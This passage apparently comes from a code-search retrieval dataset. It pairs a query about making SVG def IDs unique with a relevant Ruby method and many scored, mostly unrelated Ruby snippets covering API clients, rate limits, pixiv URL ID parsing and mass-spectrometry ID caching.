'}', name.to_s).sub('{' + 'namespace' + '}', namespace.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'pretty'] = opts[:'pretty'] if !opts[:'pretty'].nil?\n query_params[:'exact'] = opts[:'exact'] if !opts[:'exact'].nil?\n query_params[:'export'] = opts[:'export'] if !opts[:'export'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/yaml', 'application/vnd.kubernetes.protobuf'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BearerToken']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'V1LimitRange')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CoreV1Api#read_namespaced_limit_range\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4cd49aee5fcc470489c7173d16174870", "score": "0.52687085", "text": "def limits=(limits)\n @@limits = limits&.with_indifferent_access\n end", "title": "" }, { "docid": "afa02bc9c74110a831ba10ee5664253c", "score": "0.52553713", "text": "def get_dataextensions_limits_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DataExtensionsApi.get_dataextensions_limits ...\"\n end\n \n # resource path\n local_var_path = \"/api/v2/dataextensions/limits\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SchemaQuantityLimits')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DataExtensionsApi#get_dataextensions_limits\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "04c22d2eb70962ec9f77ca1a590bad0b", "score": "0.52471256", "text": "def info()\n @client.rate_limit.info()\n end", "title": "" }, { "docid": "04c22d2eb70962ec9f77ca1a590bad0b", "score": "0.52471256", "text": "def info()\n @client.rate_limit.info()\n end", "title": "" }, { "docid": "0396ee652652fda44650fa612cc4789b", "score": "0.52461135", "text": "def limit\n @limit\n end", "title": "" }, { "docid": "6cdabfebed5eeefb7a187e0abe433af6", "score": "0.52378356", "text": "def ratelimit_limit\n loaded? ? env[:response_headers][RATELIMIT_LIMIT] : nil\n end", "title": "" }, { "docid": "c8541175b519947e4d322ef9c00f04be", "score": "0.52305555", "text": "def load_records\n # open(native_instance,\"UserAgent\" => \"Mozilla/5.0\")\n strio = StringIO.new(open(native_instance).read)\n if limit.present?\n strio.to_a[0,limit]\n else\n strio\n end\n end", "title": "" }, { "docid": "3b26121365089e5456960fcb2c66bb9f", "score": "0.5230424", "text": "def ratelimit\n loaded? ? @env[:response_headers][RATELIMIT] : nil\n end", "title": "" }, { "docid": "ef01644462cacfbe4ff4df3281930ede", "score": "0.52292717", "text": "def get_outbound_attemptlimits(opts = {})\n data, _status_code, _headers = get_outbound_attemptlimits_with_http_info(opts)\n return data\n end", "title": "" }, { "docid": "cba0508519aa428e6d6bb9d94bfe62fb", "score": "0.52244467", "text": "def quota_read(owner, opts = {})\n data, _status_code, _headers = quota_read_with_http_info(owner, opts)\n return data\n end", "title": "" }, { "docid": "7bf9a07da9ce7d3c4ca04ff954ac9c57", "score": "0.5212776", "text": "def resource_limit\n 1000\n end", "title": "" }, { "docid": "ffc450dd12ab2f8529b1b578386d1222", "score": "0.5199376", "text": "def create_iam_session_limits(iam_session_limits, opts = {})\n data, _status_code, _headers = create_iam_session_limits_with_http_info(iam_session_limits, opts)\n data\n end", "title": "" }, { "docid": "b77d7748a35cf27feb9aed67149747bc", "score": "0.5198542", "text": "def limit\n limit = @attrs['x-rate-limit-limit']\n limit.to_i if limit\n end", "title": "" }, { "docid": "abc64404ccc15361be4d9986e261e8b9", "score": "0.5186971", "text": "def rate_limit\n options[:rate_limit]\n end", "title": "" }, { "docid": "8d02d05d7ee0cba0d961814f3fcf56a0", "score": "0.51837736", "text": "def get_account_limit()\n return @account_limit\n end", "title": "" }, { "docid": "04b2162bb33e48b27a611847c54b9b5e", "score": "0.5176492", "text": "def ratelimit\n loaded? ? @env[:response_headers][RATELIMIT] : nil\n end", "title": "" }, { "docid": "4e03d2d63a795e3826b5e8e260e17274", "score": "0.5171709", "text": "def view limit=100\n @connection.unsafe.get_range(self, nil, nil).view(limit)\n end", "title": "" }, { "docid": "73b189517ee2bfa81746450f6f411c9a", "score": "0.5153408", "text": "def api_rate_limit\n Integer(headers['X-RateLimit-Limit'])\n end", "title": "" } ]
3fcbb72356f3b46a42ee85a5d909c291
Scans blocks for IDs If urls(id) are used, ensure these IDs are unique to this file Only replace IDs if urls exist to avoid replacing defs used in other svg files
[ { "docid": "de0a994ac1dec6eadae63f2974f7ff8a", "score": "0.54590416", "text": "def prep_defs(svg)\n\n # <defs> should be moved to the beginning of the SVG file for braod browser support. Ahem, Firefox ಠ_ಠ\n # When symbols are reassembled, @defs will be added back\n \n if @defs = svg.scan(/<defs>(.+)<\\/defs>/m).flatten[0]\n svg.sub!(\"<defs>#{@defs}</defs>\", '')\n @defs.gsub!(/(\\n|\\s{2,})/,'')\n\n @defs.scan(/id=\"(.+?)\"/).flatten.uniq.each_with_index do |id, index|\n\n # If there are urls matching def ids\n if svg.match(/url\\(##{id}\\)/)\n\n new_id = \"def-#{@id}-#{index}\" # Generate a unique id\n @defs.gsub!(/id=\"#{id}\"/, %Q{id=\"#{new_id}\"}) # Replace the def ids\n svg.gsub!(/url\\(##{id}\\)/, \"url(##{new_id})\") # Replace url references to these old def ids\n end\n end\n end\n\n svg\n end", "title": "" } ]
[ { "docid": "548bcdd7fd21eccc838a7e594f202481", "score": "0.60725754", "text": "def refresh_ids\n\t\t# Find all puzzle IDs retrieved\n\t\tpuzzle_files = Dir[\"./puzzles/*.pdf\"]\n\t\tids = puzzle_files.map do |path|\n\t\t\tpath.split(\"/puzzle-\").last.split(\".\").first\n\t\tend\n\t\t@puzzle_ids = Set.new(ids)\n\n\t\t# Find all puzzle IDs mailed in packets\n\t\tpuzzle_packet_files = Dir[\"./puzzles/packets/*.pdf\"]\n\t\tid_groups = puzzle_packet_files.map do |path|\n\t\t\tpath.split(\"/\").last.split(\".\").first.split(\"-\")\n\t\tend\n\t\t@puzzle_packet_ids = Set.new(id_groups.flatten)\n\tend", "title": "" }, { "docid": "a14a465ce9b85f3d57ad831342434f94", "score": "0.59436435", "text": "def clean_ids(_node)\n _node.xpath(\".//*[@local_id]\").each do |node|\n parent_name = node.parent.node_name\n name = \"#{parent_name}\"\n if $id_counters[name]\n $id_counters[name] = $id_counters[name] + 1\n else\n $id_counters[name] = 1\n end\n node.set_attribute(\"local_id\", \"dyn_#{name}_#{$id_counters[name]}\")\n end\n _node.xpath(\".//*[@id]\").each do |node|\n node.set_attribute(\"id\", %x|uuidgen|.strip)\n end\nend", "title": "" }, { "docid": "d2edcf36842a45d87d22cf539770d9f8", "score": "0.5938287", "text": "def process_replace_asset_id(data)\n\t\tdata.each do |item|\n\t\t\tid = @user.assets_id_by_name(item[:name])\n\t\t\tif id\n\t\t\t\titem[:rplcstr] = id[:asset]\n\t\t\t\tputs item\n\t\t\t\tresponse = @user.process_find_and_replace(item)\n\t\t\t\[email protected]\n\t\t\t\tsleep 5\n\t\t\telse\n\t\t\t\tputs \"asset name #{item[:name]} does not exist\"\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "c273085a8bedddb6653358b4317d2eee", "score": "0.5926993", "text": "def parse_and_validate_attachment_reference_uuids_from_content(content)\n ids = []\n doc = Nokogiri::HTML(content)\n doc.css('img').each do |image|\n id = parse_attachment_reference_uuid_from_url(image['src'])\n valid_id = get_valid_attachment_reference(id) if id\n\n next unless valid_id\n\n image['src'] = \"#{ATTACHMENT_URL_PREFIX}#{valid_id}\" unless valid_id == id\n ids << valid_id\n end\n\n ids\n end", "title": "" }, { "docid": "61820a52fd8879d9ab6e6204b37567a0", "score": "0.5869621", "text": "def id_check(el, id, base)\n if NC_REGEXP.match(id)\n # ID may only be specified once for the same URI\n if base\n uri = URIRef.intern(\"##{id}\", base, :normalize => false)\n if @id_mapping[id] && @id_mapping[id] == uri\n warn = \"ID addtribute '#{id}' may only be defined once for the same URI\"\n add_debug(el, warn)\n raise RdfContext::ParserException.new(warn) if @strict\n end\n \n @id_mapping[id] = uri\n # Returns URI, in this case\n else\n id\n end\n else\n warn = \"ID addtribute '#{id}' must be a NCName\"\n add_debug(el, \"ID addtribute '#{id}' must be a NCName\")\n add_debug(el, warn)\n raise RdfContext::ParserException.new(warn) if @strict\n nil\n end\n end", "title": "" }, { "docid": "600cb7e8b6020a01f6d98b4e8be2b37c", "score": "0.5827448", "text": "def find_image_ids(doc)\n if doc.namespaces.include? 'xmlns:w' and doc.xpath(\"//w:drawing\").any?\n @images.each do |image|\n\n doc.xpath(\"//w:drawing//wp:docPr[@title='#{image.name}']/following-sibling::*\").xpath(\".//a:blip\", {'a' => \"http://schemas.openxmlformats.org/drawingml/2006/main\"}).each do |img|\n image.id = img.attributes['embed'].value\n end\n end # existing_images loop\n end\n end", "title": "" }, { "docid": "a7bbf38a05adc4f96b7421c60dba868d", "score": "0.5710404", "text": "def sanitize_fragment_with_id(url)\n url.gsub(%r{^(/?[^/]*/[^/]*/)(?:[^\\?/\\d]*[\\d]+[^\\?/]*)}, ID_PLACEHOLDER)\n end", "title": "" }, { "docid": "91dd545415528141c3a6ddd4fec75818", "score": "0.56153136", "text": "def fill_ids(_in_stream)\n end", "title": "" }, { "docid": "529097b5e38dbfcca54341ec5ec84ce6", "score": "0.55571437", "text": "def illust_id\n return nil if novel_id.present?\n\n parsed_urls.each do |url|\n # http://www.pixiv.net/member_illust.php?mode=medium&illust_id=18557054\n # http://www.pixiv.net/member_illust.php?mode=big&illust_id=18557054\n # http://www.pixiv.net/member_illust.php?mode=manga&illust_id=18557054\n # http://www.pixiv.net/member_illust.php?mode=manga_big&illust_id=18557054&page=1\n if url.host == \"www.pixiv.net\" && url.path == \"/member_illust.php\" && url.query_values[\"illust_id\"].present?\n return url.query_values[\"illust_id\"].to_i\n\n # http://www.pixiv.net/en/artworks/46324488\n elsif url.host == \"www.pixiv.net\" && url.path =~ %r{\\A/(?:en/)?artworks/(?<illust_id>\\d+)}i\n return $~[:illust_id].to_i\n\n # http://www.pixiv.net/i/18557054\n elsif url.host == \"www.pixiv.net\" && url.path =~ %r{\\A/i/(?<illust_id>\\d+)\\z}i\n return $~[:illust_id].to_i\n\n # http://img18.pixiv.net/img/evazion/14901720.png\n # http://i2.pixiv.net/img18/img/evazion/14901720.png\n # http://i2.pixiv.net/img18/img/evazion/14901720_m.png\n # http://i2.pixiv.net/img18/img/evazion/14901720_s.png\n # http://i1.pixiv.net/img07/img/pasirism/18557054_p1.png\n # http://i1.pixiv.net/img07/img/pasirism/18557054_big_p1.png\n elsif url.host =~ /\\A(?:i\\d+|img\\d+)\\.pixiv\\.net\\z/i &&\n url.path =~ %r{\\A(?:/img\\d+)?/img/#{MONIKER}/(?<illust_id>\\d+)(?:_\\w+)?\\.(?:jpg|jpeg|png|gif|zip)}i\n return $~[:illust_id].to_i\n\n # http://i1.pixiv.net/img-inf/img/2011/05/01/23/28/04/18557054_64x64.jpg\n # http://i1.pixiv.net/img-inf/img/2011/05/01/23/28/04/18557054_s.png\n # http://i1.pixiv.net/c/600x600/img-master/img/2014/10/02/13/51/23/46304396_p0_master1200.jpg\n # http://i1.pixiv.net/img-original/img/2014/10/02/13/51/23/46304396_p0.png\n # http://i1.pixiv.net/img-zip-ugoira/img/2014/10/03/17/29/16/46323924_ugoira1920x1080.zip\n # https://i.pximg.net/img-original/img/2014/10/03/18/10/20/46324488_p0.png\n # https://i.pximg.net/img-master/img/2014/10/03/18/10/20/46324488_p0_master1200.jpg\n # https://i-f.pximg.net/img-original/img/2020/02/19/00/40/18/79584713_p0.png\n # https://tc-pximg01.techorus-cdn.com/img-original/img/2017/09/18/03/18/24/65015428_p4.png\n #\n # but not:\n #\n # https://i.pximg.net/novel-cover-original/img/2019/01/14/01/15/05/10617324_d84daae89092d96bbe66efafec136e42.jpg\n # https://img-sketch.pixiv.net/uploads/medium/file/4463372/8906921629213362989.jpg\n elsif url.host =~ /\\A(?:[^.]+\\.pximg\\.net|i\\d+\\.pixiv\\.net|tc-pximg01\\.techorus-cdn\\.com)\\z/i &&\n url.path =~ %r{\\A(/c/\\w+)?/img-[a-z-]+/img/#{DATE}/(?<illust_id>\\d+)(?:_\\w+)?\\.(?:jpg|jpeg|png|gif|zip)}i\n return $~[:illust_id].to_i\n end\n end\n\n nil\n end", "title": "" }, { "docid": "25ccd3ff6f2e49a8a1bca2dfacb5c6c0", "score": "0.5554087", "text": "def split_upids(idmap_file)\n puts \"split idmapping.dat to each prefix files\"\n up_refp_output = prepare_prefix_files(idmap_file, \"protein_id\")\n up_refg_output = prepare_prefix_files(idmap_file, \"gene_id\")\n\n cnt = 0\n # it is assumed that the tax_id is followed by a protein_id or gene_id\n current_tax = {upid: nil, tax_id: nil}\n taxid_missing_list = [] \n File.open(idmap_file, \"r\") do |f|\n f.each_line do |line|\n up, xref, id = line.strip.split(\"\\t\")\n case xref\n when \"NCBI_TaxID\"\n current_tax = {upid: up.split(\"-\").first, tax_id: id}\n when \"RefSeq\", \"GeneID\"\n # Push only the tax_id with refseq protein_id or gene_id\n if current_tax[:upid] == up.split(\"-\").first\n if xref == \"RefSeq\"\n prefix = id.chomp.strip[0..4]\n up_refp_output[prefix].puts line.chomp.strip + \"\\t\" + current_tax[:tax_id]\n elsif xref == \"GeneID\"\n prefix = id.chomp.strip[0]\n up_refg_output[prefix].puts line.chomp.strip + \"\\t\" + current_tax[:tax_id]\n end\n else\n taxid_missing_list.push(up)\n end\n end\n cnt += 1\n if (cnt % 100000 == 0)\n puts cnt\n end\n end\n # list of upid that can't get taxid. Depends on the order of idmapping.dat\n out = File.open(\"taxid_missing_list.json\", \"w\") unless taxid_missing_list.size == 0\n taxid_missing_list.each do |upid|\n out.puts JSON.pretty_generate(taxid_missing_list)\n end\n end\n\n # close files\n up_refp_output.each do |k, v|\n v.flush\n v.close\n end\n up_refg_output.each do |k, v|\n v.flush\n v.close\n end\nend", "title": "" }, { "docid": "abbe7ac0f630dab1e7ed951eaa3abfe0", "score": "0.5522908", "text": "def update_unique_ids(env, content); end", "title": "" }, { "docid": "a99f2d7353871b904436e87ad1e88cc7", "score": "0.55138165", "text": "def cache_ids()\n hit_values = File.open(@mzid_file) do |io|\n doc = Nokogiri::XML.parse(io, nil, nil, Nokogiri::XML::ParseOptions::DEFAULT_XML | Nokogiri::XML::ParseOptions::NOBLANKS | Nokogiri::XML::ParseOptions::STRICT)\n doc.remove_namespaces!\n root = doc.root\n \n cache_db_seq_entries(root)\n cache_pep_ev(root)\n \n peptide_lst = root.xpath('//Peptide')\n @pep_h = Hash.new\n @mod_h = Hash.new\n peptide_lst.each do |pnode|\n \n pep_id = pnode['id']\n pep_seq = get_peptide_sequence(pnode)\n mod_line = get_modifications(pnode)\n @pep_h[pep_id] = pep_seq \n @mod_h[pep_id] = mod_line \n end\n \n end\n end", "title": "" }, { "docid": "0d60f9ed8acff0fd0630e7bb039b073d", "score": "0.548947", "text": "def cache_ids(use_pbar = @use_pbar)\n num_pep, num_db_seq, num_pep_ev = get_num_elements(nil)\n \n @pep_h = Hash.new\n @mod_h = Hash.new\n pbar1 = ProgressBar.new(\"peptides\", num_pep/2) if use_pbar\n reader = Nokogiri::XML::Reader(File.open(@mzid_file))\n reader.each do |node|\n # parse Peptide items\n if node.name == \"Peptide\" then\n # parse local peptide entry\n tmp_node = Nokogiri::XML.parse(node.outer_xml)\n tmp_node.remove_namespaces!\n root = tmp_node.root \n pep_id = root[\"id\"].to_sym\n # skip if already handled PepID\n next if @pep_h.has_key?(pep_id)\n # parse sequence/mods if haven't seen it yet\n pep_seq = get_peptide_sequence(root)\n mod_line = get_modifications(root)\n @pep_h[pep_id] = pep_seq\n @mod_h[pep_id] = mod_line\n pbar1.inc if use_pbar\n end\n end\n pbar1.finish if use_pbar\n # now parse DBSequence items\n dbseq_re = Regexp.new(/^\\s*<DBSequence\\s/)\n pbar2 = ProgressBar.new(\"db_seq\", num_db_seq) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !dbseq_re.match(line)\n \n prot_id = line.match(/accession=\\\"([\\w|\\|]+)/)[1]\n db_id = line.match(/id=\\\"(\\w+)/)[1]\n \n @db_seq_h[db_id.to_sym] = prot_id.to_sym\n pbar2.inc if use_pbar\n end\n pbar2.finish if use_pbar\n # now parse PeptideEvidence items\n pepev_re = Regexp.new(/^\\s*<PeptideEvidence\\s/)\n pbar3 = ProgressBar.new(\"pep_ev\", num_pep_ev) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !pepev_re.match(line)\n \n db_id = line.match(/dBSequence_ref=\\\"(\\w+)/)[1]\n start_pos = line.match(/start=\\\"(\\d+)/)[1].to_i\n end_pos = line.match(/end=\\\"(\\d+)/)[1].to_i\n pep_ev = line.match(/id=\\\"(\\w+)/)[1]\n is_decoy = line.match(/isDecoy=\\\"(\\w+)\\\"/)[1]\n # @pep_ev_h_dbseqRef[pep_ev.to_sym] = db_id.to_sym\n @pep_ev_h[pep_ev.to_sym] = PeptideEvidence.new(:db_seq_ref => db_id.to_sym,\n :start_pos => start_pos,\n :end_pos => end_pos,\n :is_decoy => is_decoy)\n pbar3.inc if use_pbar\n end\n pbar3.finish if use_pbar \n end", "title": "" }, { "docid": "61372098284c9d0a2ffd3457adcc5ac8", "score": "0.5488019", "text": "def avoid_duplicate_image_names(content)\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n node.xpath(\".//draw:image\").each do |draw_image|\n if !draw_image.attribute('href').nil?\n href = draw_image.attribute('href').value\n end\n unless href.to_s.empty?\n @global_image_paths_set.add(href) \n end\n end\n end\n end", "title": "" }, { "docid": "da4608ee52d1151ff90ac92ac53d64de", "score": "0.5433279", "text": "def randomize_id\n begin\n self.id = SecureRandom.hex 5\n end while ItAsset.where(id: self.id).exists?\n end", "title": "" }, { "docid": "65483d85da2c339cab956f7bc43c454f", "score": "0.5390111", "text": "def parseCodeRId(vId, rIds)\n\t\tvId.each do | found |\n\t\t\turi = URI.parse(found.content)\n\t\t\trIds << uri.path.to_s.gsub(/\\//, '').gsub(/show/, '').gsub(/(?<=\\d)diff.*/, '')\n\t\tend\n\tend", "title": "" }, { "docid": "e8090ada23014a435d137558bdb588b0", "score": "0.53887", "text": "def parse_attachment_reference_uuids_from_content(content)\n ids = []\n doc = Nokogiri::HTML(content)\n doc.css('img').each do |image|\n id = parse_attachment_reference_uuid_from_url(image['src'])\n ids << id if id\n end\n\n ids\n end", "title": "" }, { "docid": "0387f32a7edbe273470d42b07b2a6e89", "score": "0.5385279", "text": "def parseGId(link, gIds)\n\t\tlink.scan(/=(\\d+)$/) do | id |\n\t\t\tgIds << id\n\t\tend\n\tend", "title": "" }, { "docid": "082f29985e8f36756bfcea5ba7900866", "score": "0.5377265", "text": "def string_replacements_for_ids(type, ids)\n ids = ids.uniq\n query_string = ids.map { |id| \"(FormattedID = \\\"#{id}\\\")\" }.join(' OR ')\n query_string = \"(#{query_string})\" if ids.count > 1\n\n replacements = {}\n\n puts \"Querying Rally for artifact info...\"\n results = query_rally(type, query_string, \"FormattedID,ObjectID,Project\")\n puts \"done.\"\n results.each do |result|\n if ids.include?(result.FormattedID)\n link_to_artifact = url_for_rally(result.Project.ObjectID, type, result.ObjectID)\n replacements[result.FormattedID] = generate_markdown_link(result.FormattedID, link_to_artifact)\n end\n end\n\n replacements\nend", "title": "" }, { "docid": "ea929c3049a4298268890fa871ae37a4", "score": "0.53716487", "text": "def update_duplicate_uri\n # Checking if multiple content are present with the same uri the updating the uri\n duplicate_entries = Content.where(:uri=>self.uri)\n\n # Only change the uri if more than one entry is found for the current uri\n if duplicate_entries.length > 1\n old_uri = self.uri\n new_uri = old_uri+'_'+rand(100000).to_s\n\n # Updating the current uri with the newly generated uri\n self.update_attributes(:uri => new_uri)\n end\n # End of code for handling the content with same uri\n end", "title": "" }, { "docid": "97da5f5a77472d9161cf8cc5cda866e8", "score": "0.5291377", "text": "def find_ids(uris)\n uris.map { |uri| find_id(uri) }\n end", "title": "" }, { "docid": "62db3bf8a152232bfb6033148ff71985", "score": "0.5288434", "text": "def locate_internal_refs1(refs, identifier, ident)\n #file, _filename = targetfile(filedesc, read: true)\n file, _filename = @files.targetfile_id(ident, read: true)\n xml = Nokogiri::XML(file) { |config| config.huge }\n t = xml.xpath(\"//*/@id\").each_with_object({}) { |i, x| x[i.text] = true }\n refs.each do |schema, ids|\n ids.keys.select { |id| t[id] }.each do |id|\n n = xml.at(\"//*[@id = '#{id}']\") and\n n.at(\"./ancestor-or-self::*[@type = '#{schema}']\") and\n refs[schema][id] = identifier\n end\n end\n end", "title": "" }, { "docid": "b6f7442b19925a17c20492e3881fddfa", "score": "0.52704084", "text": "def rewrite\n rewrited_content = parse_for_urls(content)\n parse_for_ids(rewrited_content)\n end", "title": "" }, { "docid": "514b9a196e4d3bd0b8abf743911a5857", "score": "0.5266252", "text": "def extract_ids\n # no-op\n end", "title": "" }, { "docid": "43c0e7c0e1c98d2a1b0f3b102a6675ad", "score": "0.52638525", "text": "def populate_id\n @id = Digest::SHA256.hexdigest(@source_url).slice(0, ID_LENGTH)\n end", "title": "" }, { "docid": "fa0ca8c0425e91c0fb5432f119a5ed9f", "score": "0.52495164", "text": "def each_with_id(file_suffix_re=/\\.(md|txt)$/, &block)\n Find.find(@root) do |path|\n if FileTest.directory?(path)\n if File.basename(path)[0] == ?.\n # Don't look any further into this directory.\n Find.prune\n else\n next\n end\n elsif path =~ file_suffix_re\n yield path, LibraryLocator.id_from_path(path)\n end\n end\n end", "title": "" }, { "docid": "3421a3c2075be89c54568764e89b3d1b", "score": "0.52443767", "text": "def parse_sw_image_ids\n public_xml_doc.xpath('//resource[@type=\"page\" or @type=\"image\" or @type=\"thumb\"]').map do |node|\n node.xpath('./file[@mimetype=\"image/jp2\"]/@id').map do |x|\n \"#{@druid.gsub('druid:', '')}/\" + x\n end << node.xpath('./externalFile[@mimetype=\"image/jp2\"]').map do |y|\n \"#{y.attributes['objectId'].text.split(':').last}\" + '/' + \"#{y.attributes['fileId']}\"\n end\n end.flatten\n end", "title": "" }, { "docid": "578fbc3f33736ad7126ffd810a3f43b4", "score": "0.52208", "text": "def cache_ids(use_pbar = @use_pbar)\n num_pep, num_db_seq, num_pep_ev = get_num_elements(nil)\n puts \"SPEC:\\t#{@num_spec}\"\n puts \"PEP:\\t#{num_pep}\"\n puts \"DB:\\t#{num_db_seq}\"\n puts \"PEPEV:\\t#{num_pep_ev}\"\n\n #pbar1 = ProgressBar.new(\"Caching psm\", num_pep) if use_pbar\n #reader = Nokogiri::XML::Reader(File.open(@mzid_file))\n #reader.each do |node| \n #end\n\n @pep_h = Hash.new\n @mod_h = Hash.new\n #pbar = ProgressBar.new(\"Caching\", num_pep+num_db_seq+num_pep_ev) if use_pbar\n pbar1 = ProgressBar.new(\"peptides\", num_pep/2) if use_pbar\n reader = Nokogiri::XML::Reader(File.open(@mzid_file))\n reader.each do |node|\n #\n if node.name == \"Peptide\" then\n #pbar.inc if use_pbar\n # parse local peptide entry\n tmp_node = Nokogiri::XML.parse(node.outer_xml)\n tmp_node.remove_namespaces!\n root = tmp_node.root \n pep_id = root[\"id\"].to_sym\n # skip if already handled PepID\n next if @pep_h.has_key?(pep_id)\n # parse sequence/mods if haven't seen it yet\n pep_seq = get_peptide_sequence(root)\n mod_line = get_modifications(root)\n @pep_h[pep_id] = pep_seq\n @mod_h[pep_id] = mod_line\n pbar1.inc if use_pbar\n end\n end\n pbar1.finish if use_pbar\n #\n pbar2 = ProgressBar.new(\"db_seq\", num_db_seq) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !line.match(/^\\s+<DBSequence\\s/)\n \n prot_id = line.match(/accession=\\\"([\\w|\\|]+)/)[1]\n db_id = line.match(/id=\\\"(\\w+)/)[1]\n \n @db_seq_h[db_id.to_sym] = prot_id.to_sym\n pbar2.inc if use_pbar\n end\n # reader2 = Nokogiri::XML::Reader(File.open(@mzid_file))\n # reader2.each do |node|\n # #\n # if node.name == \"DBSequence\" then\n # # parse local DBSequence entry\n # tmp_node = Nokogiri::XML.parse(node.outer_xml)\n # tmp_node.remove_namespaces!\n # root = tmp_node.root\n # cache_db_seq_entries(root)\n # pbar2.inc if use_pbar\n # end\n # end\n pbar2.finish if use_pbar\n #\n pbar3 = ProgressBar.new(\"pep_ev\", num_pep_ev) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !line.match(/^\\s+<PeptideEvidence\\s/)\n \n db_id = line.match(/dBSequence_ref=\\\"(\\w+)/)[1]\n pep_ev = line.match(/id=\\\"(\\w+)/)[1]\n @pep_ev_h_dbseqRef[pep_ev.to_sym] = db_id.to_sym\n pbar3.inc if use_pbar\n end\n # reader3 = Nokogiri::XML::Reader(File.open(@mzid_file))\n # reader3.each do |node|\n # if node.name == \"PeptideEvidence\" then\n # # parse local DBSequence entry\n # tmp_node = Nokogiri::XML.parse(node.outer_xml)\n # tmp_node.remove_namespaces!\n # root = tmp_node.root\n # cache_pep_ev(root)\n # pbar3.inc if use_pbar\n # end \n # # if node.name == \"PeptideEvidence\" then\n # # tmp_node = Nokogiri::XML.parse(node.outer_xml)\n # # root = tmp_node.root\n # # pep_ref = root.to_s.match(/peptide_ref=\\\"(\\w+)\\\"/)[1]\n # # id_ref = root.to_s.match(/id=\\\"(\\w+)\\\"/)[1]\n # # db_ref = root.to_s.match(/dBSequence_ref=\\\"(\\w+)\\\"/)[1]\n # # @pep_ev_h_dbseqRef[id_ref.to_sym] = db_ref.to_sym\n # # end\n # end \n pbar3.finish if use_pbar\n puts \"PEP_H SIZE:\\t#{@pep_h.size}\"\n puts \"DBSEQ_H SIZE:\\t#{@db_seq_h.size}\"\n puts \"PEP_EV_H SIZE:\\t#{@pep_ev_h_dbseqRef.size}\"\n end", "title": "" }, { "docid": "2b6fc8cc4b46d7d632a3d3741bf9e0d7", "score": "0.5183684", "text": "def parse_attachment_reference_ids_from_content(content)\n ids = []\n doc = Nokogiri::HTML(content)\n doc.css('img').each do |image|\n id = parse_attachment_reference_id_from_url(image['src'])\n ids << id if id\n end\n\n ids\n end", "title": "" }, { "docid": "5925f9993952268a4da2a9131432fec0", "score": "0.51459867", "text": "def find id\n gist_id, filename = *id.split('/', 2)\n files.find_all do |file|\n file.gist_id == gist_id &&\n (filename.nil? || (filename == file.filename))\n end\n end", "title": "" }, { "docid": "b4e429b075e1a28e04288157f4709407", "score": "0.51277244", "text": "def process_replace_uuid(data)\n\t\tuuid = @user.sites_uuid\n\t\[email protected]_find_and_replace({srchstr:data[:old_uuid],rplcstr:uuid,paths:[\"/_resources\"]})\n\t\[email protected]\n\tend", "title": "" }, { "docid": "7401b1fae2ae9b72f70733867ede4655", "score": "0.5124842", "text": "def asset_by_id( id )\r\n\t\t(@graph_by_id[id] && asset_for_el( @graph_by_id[id] ))\r\n\tend", "title": "" }, { "docid": "5a6706dd938d14eb60811c71876a18a6", "score": "0.5122015", "text": "def parse_taxon_ids_list full_document\n full_document.gsub(/%tl\\[(.*?)\\]/) do\n ids_string = $1\n ids = ids_string.gsub(\" \", \"\").split(\",\")\n\n ids.map do |id|\n try_linking_taxon_id id\n end.join(\", \")\n end\n end", "title": "" }, { "docid": "bd697b8f6e7c92692c0fbd53654f98a5", "score": "0.511533", "text": "def parse_reference_ids full_document\n full_document.gsub(/%r(\\d+)/) do\n if Reference.exists? $1\n reference = Reference.find($1)\n reference.decorate.to_link\n else\n broken_markdown_link \"reference\", $1\n end\n end\n end", "title": "" }, { "docid": "76d952b843db73e45c0773f1d12e92de", "score": "0.51064575", "text": "def asset_ids(id)\n monograph = Hyrax::PresenterFactory.build_for(ids: [id], presenter_class: Hyrax::MonographPresenter, presenter_args: nil).first\n return if monograph.blank?\n\n docs = monograph.ordered_member_docs\n return if docs.blank?\n\n ids = []\n docs.each do |doc|\n fp = Hyrax::FileSetPresenter.new(doc, nil)\n next if fp.featured_representative?\n next if fp.id == monograph.representative_id\n next if Sighrax.tombstone?(Sighrax.from_presenter(fp))\n ids << fp.id\n end\n\n ids.join(\",\")\n end", "title": "" }, { "docid": "29b72f1635f766fbe7631d66a98abb7e", "score": "0.51057", "text": "def rebuild_id_uri\n self.id_uri = build_id_uri\n end", "title": "" }, { "docid": "6ee749e82600f9c153811449bf8e2798", "score": "0.509994", "text": "def rm_block(start_id, end_id, path)\n puts \"Removing string block from #{start_id} to #{end_id} #{path}\".colorize(:light_red)\n\t\tstart_regexp = Regexp.new(Regexp.escape(start_id))\n\t\tend_regexp = 